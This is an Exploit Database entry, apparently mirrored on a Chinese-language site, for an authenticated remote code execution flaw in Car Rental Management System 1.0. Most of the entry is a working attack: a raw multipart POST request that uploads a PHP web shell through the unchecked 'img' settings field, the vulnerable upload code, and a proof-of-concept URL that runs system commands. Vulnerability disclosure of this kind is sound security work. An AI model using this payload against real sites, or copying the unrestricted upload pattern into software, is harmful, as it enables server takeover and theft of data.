Car Rental Management System 1.0 – Remote Code Execution (Authenticated)

• Exploit Database
• 124 阅读

• 作者： Mehmet Kelepçe
  日期： 2020-11-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49055/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

  # Exploit Title: Car Rental Management System 1.0 - Remote Code Execution (Authenticated) # Date: 2020-11.13 # Exploit Author: Mehmet Kelepçe / Gais Cyber Security # Author ID: 8763 # Vendor Homepage: https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14544&title=Car+Rental+Management+System+using+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested on: Apache2 - Windows 10   Vulnerable param: img ------------------------------------------------------------------------- POST /car_rental/admin/ajax.php?action=save_settings HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: */* Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------30709612614161811513297969444 Content-Length: 777 Origin: http://localhost Connection: close Referer: http://localhost/car_rental/admin/index.php?page=site_settings Cookie: setting=k; PHPSESSID=tsimparo2crmq2ibibnla5vean   -----------------------------30709612614161811513297969444 Content-Disposition: form-data; name="name"   Car Rental Management System -----------------------------30709612614161811513297969444 Content-Disposition: form-data; name="email"   info@sample.comm -----------------------------30709612614161811513297969444 Content-Disposition: form-data; name="contact"   +6948 8542 623 -----------------------------30709612614161811513297969444 Content-Disposition: form-data; name="about"   content   -----------------------------30709612614161811513297969444 Content-Disposition: form-data; name="img"; filename="k.php" Content-Type: application/octet-stream   <?php echo passthru($_GET[&apos;k&apos;]);?> -----------------------------30709612614161811513297969444--     Source Code:   admin\admin_class.php: -------------------------------------------------------------------- if($_FILES[&apos;img&apos;][&apos;tmp_name&apos;] != &apos;&apos;){ $fname = strtotime(date(&apos;y-m-d H:i&apos;)).&apos;_&apos;.$_FILES[&apos;img&apos;][&apos;name&apos;]; $move = move_uploaded_file($_FILES[&apos;img&apos;][&apos;tmp_name&apos;],&apos;assets/uploads/&apos;. $fname); $data .= ", avatar = &apos;$fname&apos; ";   }   --------------------------------------------------------------------   POC: http://{site]/admin/assets/uploads/{FILE}.php?k=whoami